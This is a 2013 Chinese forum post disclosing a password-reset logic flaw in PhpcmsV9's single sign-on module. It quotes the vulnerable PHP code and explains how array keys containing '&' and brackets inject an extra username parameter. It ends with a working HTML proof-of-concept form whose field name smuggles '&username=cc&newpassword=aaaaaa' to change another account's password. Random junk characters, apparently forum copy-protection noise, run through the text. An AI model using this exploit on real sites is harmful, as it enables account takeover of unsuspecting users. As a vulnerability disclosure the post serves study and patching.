找回密码
 立即注册
查看: 2729|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:, V( c. w5 ]3 D( R# A

7 }6 N! |5 x4 p  i; I. j% t8 y2 ^, y6 i/ I5 M; M
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
8 z( Z+ ^. `& j7 |: O. }& O. }9 Z1 x2 Y1 P# b. h
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
0 u" ?9 T* i! `% K( L0 D9 M- G6 d1 a+ y5 ]3 N
我把它留给了你们。& H3 E5 @; u+ U7 C& s
不知道你们发现了它没有。1 g2 P5 x1 ?$ q& A7 w8 j
$ S7 r# l5 j) o* D. T
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。+ l  B$ A& w+ a/ Q
, Y* s. W4 H) U4 O3 e' k# S
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ E2 v1 B! P3 F8 ^5 j- h5 |- b" b6 |# J7 J" C) ]" m
也就是; u6 P0 W* M2 k: u; C  j+ r
% r; \% W  x! y8 g1 Z6 ?, v: q
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。0 k) [6 r5 R; n5 `6 x- V. ]% |
4 g: _$ h! }1 a3 u4 j7 o# G) T
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。- ^; o% K5 L& s
8 V& l; t0 m0 q) r& `
6 b9 {1 i4 b3 K
其实我们有这样的机会,看看代码,如下:8 O$ r5 N; j7 t, }9 P6 h

6 Y( a% W9 Q2 Z+ m( b
! j' d" o% u  ?' P9 K" f# vpublic function auth_data($data) {, m+ \1 }- U% D, @. ?* y
                $s = $sep = '';
8 M" w) v3 @' k* ?                foreach($data as $k => $v) {
/ O# m6 E  _4 ?( I/ w/ K                        if(is_array($v)) {
: r0 ^* X) }) n3 U                                $s2 = $sep2 = '';
' ?/ Z5 v/ G% U                                foreach($v as $k2 => $v2) {& s* H! i2 O: C* N( ~. x
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
  f0 `+ Z1 U, Z                                        $sep2 = '&';6 f: x+ x7 F# q3 O2 f4 C
                                }
. l! P, U4 ~1 E( i2 M+ r. C                                $s .= $sep.$s2;
8 v9 t' _! d9 V& |6 _0 h) ]3 M5 X! t                        } else {
& ]( @5 q! Y9 {2 v0 A/ L( H( x1 O                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
. {. a) O( A7 v6 V8 ~0 Q4 B                        }( D' ?8 f1 N0 O& A
                        $sep = '&';
% J% c+ x% q7 J5 k. G                }. n% \0 X+ ^1 [" g+ j
7 M% C% ~& ~1 u, @3 b5 O' w& }6 N
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));  G' |& y  N) d% ~
                return $auth_s;4 v5 p* a6 G; t/ h) ]" v
        }
6 w1 v/ T4 e6 p
! G/ x6 \, D- T. Z, O可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
/ ^' I, ^" Y6 R4 k& {+ M, T* b- A6 g$ [
- Q( l" n' q+ }7 x举个例子& Z. P5 \' y1 `& z- H: M3 o

: l$ T9 ?! z% a7 ~" \7 A$a[aaa=a&bbb] = 'a';
; B0 ^; e% T* R4 u: v( a; n& u2 N! E  y# w# V
会变成aaa=a&bbb=a
! N/ Z) y, F( [" K) ~5 {/ R& s  D( }: `. N- p) q
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。' y: C% Z: T3 b* j7 ~
$ c3 [; A4 V0 P7 \: ]4 r/ ]
这个时候,我们可以再去看一个函数。: n/ e! V9 `9 U. a7 N

6 b% ?/ Z4 @4 c, h就在这个文件内:
. b8 q6 R: w/ o4 |5 J" t5 N* o
" m$ ^  `' f4 w0 T/ a* O3 R( k2 ], Q4 @0 D- V% _" J/ H) x, M
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
+ M) K- C) h3 X2 Z$ T                if($email && !$this->_is_email($email)) {
' s9 u/ O/ ~9 o6 P- W2 @, l                        return -4;0 s" ~1 ?; S: I2 i$ d2 o
                }7 @0 `, l, i+ p. B
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
4 j$ o8 ~6 A8 n! v" a0 p        }
1 R& a, ~7 t; b# J
2 _/ M% X) J! X* L这是向通行证发了这样一个请求。4 p  X; a; X2 [9 g' N
- M. d  ]3 B7 b
我们再跟到通信证代码里去看看,就会有所发现。
$ U0 x7 `# o2 |! v9 q- Y3 i/ K" t7 q7 o. q

, V; M6 }) A7 E* jpublic function edit() {* D& `! w7 @0 t
//能省就省,太长了不是吗?
6 e7 a4 h- L0 q* y2 D6 w' U) u9 B( C, t+ J
if($this->username) {
6 l  L  [% N) Z6 |* \1 K$ R, {//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。9 V& g9 i# m& y5 k: z1 f/ ]7 L
                                $res = $this->db->update($data, array('username'=>$this->username));# A3 A. s, c1 C# ^  N
                        } else {! D: ?* N; j. N  M. y, w
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
6 z" b- o2 P. m4 F                                $res = $this->db->update($data, array('uid'=>$this->uid));4 S0 Q; v) r: i! C# q( r
                        }
+ S* u' M$ b' I6 g7 `: c2 y7 q$ [
$ C2 ]5 J; f$ u3 M" }好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:% J! Z/ Y$ N6 F! D# j. b" m! O
3 Z8 u5 t3 E+ i! `. R) G$ z; S8 `
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
& w  e7 A4 W- A0 `3 X$ A/ B
0 N! Z( l( D0 F5 |7 G- }很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
6 E& i/ Y% r1 S% l) f' T2 U# a
8 l& `1 j: j$ F8 V7 J( p我当然找到了:
4 @' ]. ~4 f; Yphpcms9/phpcms/modules/member/index.php5 ]% H+ t8 z2 v7 E

2 Q, b% m5 z) c% U$ E$ V9 o$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);4 J0 m  f! j' R7 _2 H! }# ]

9 U+ r" N- ^0 J2 b6 ?2 k然后就没有然后了。
9 s+ e' ^- |- Y6 Q+ m; S+ e/ q1 K- O& d  b9 w
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">% V: M/ x3 m5 ^( d
                                <table width="100%" cellspacing="0" class="table_form">$ C, E8 b. T$ w7 W& E! l
                                        <tr>
" I7 f+ a8 `. U                                                <th width="80">邮箱:</th>        
/ P( d/ C1 {7 g1 W4 j                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>% |8 B# m/ o( F. `
                                        </tr>
/ i, c( G* ^" J4 Q$ I4 o4 \                                        <tr># c8 W  x* H+ ~: ~
                                                <th width="80">原密码:</th>        
; y* {# m% G2 K                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
& A4 _; T% r" d# J' H                                        </tr>
  Z% r, X2 F7 q3 g                                        <tr>2 V; r8 T) ^9 W
                                                <th>新密码:</th>
2 H+ i5 B- F& e) m) L" f                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
$ H; F/ W: ^& d8 @; a                                        </tr>
' l9 z- U; L6 }! ^9 o' a& z3 S                                        <th></th>
! ?4 S3 b- S  P" w5 ~" ~" X% c                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>! k" k( Q2 e3 u6 g, p9 L
                                        </tr>
! Z, i: D8 c* k. E  |                                </table>4 d+ b  \% E4 A8 m9 A

4 F& U# E$ K' M7 U' j                                ' c/ b% `3 N2 S$ H* w4 i
                        </form>) v1 Q) j$ M1 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表